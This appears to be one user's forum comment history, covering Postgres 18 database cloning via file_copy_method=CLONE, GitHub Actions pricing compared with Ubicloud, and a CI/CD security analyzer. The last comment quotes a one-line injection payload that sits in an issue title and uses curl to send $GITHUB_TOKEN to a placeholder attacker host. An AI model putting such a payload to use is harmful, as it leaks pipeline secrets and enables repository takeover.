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eugercek··on Launch HN: Ardent (YC P26) – Postgres sandboxes in seconds with zero migration
If you use xfs (+`file_copy_method=CLONE`) you can do this with Postgres 18.

`CREATE DATABASE clankerdb TEMPLATE sourcedb STRATEGY=FILE_COPY;`.

But Ardent can be useful for many, because cloud providers uses heavily restricted Postgres. And many use Aurora, which doesn't event let configure the `log_line_prefix`.

Though if cloud providers add file_copy_method=CLONE compatible managed pg ...

ref: https://boringsql.com/posts/instant-database-clones/

eugercek··on Pricing Changes for GitHub Actions
Companies like Ubicloud gives hosted actions faster and far more cheaper (5-10x) than Microsoft itself.

Now Microsoft will charge "data plane usage" (CRUDing a row that contains (id, ts, state_enum, acc_id ...) in essence) 2.5 more than what Ubicloud offers for WHOLE compute. Also to have "fair pricing" they'll make you pay 2.5 more the compute's price for being able to use their data plane.

cool.

eugercek··on Raven – CI/CD Security Analyzer
`new issue title" && curl hacker.boi -d $GITHUB_TOKEN && sleep 30` I hate pipelines even more :(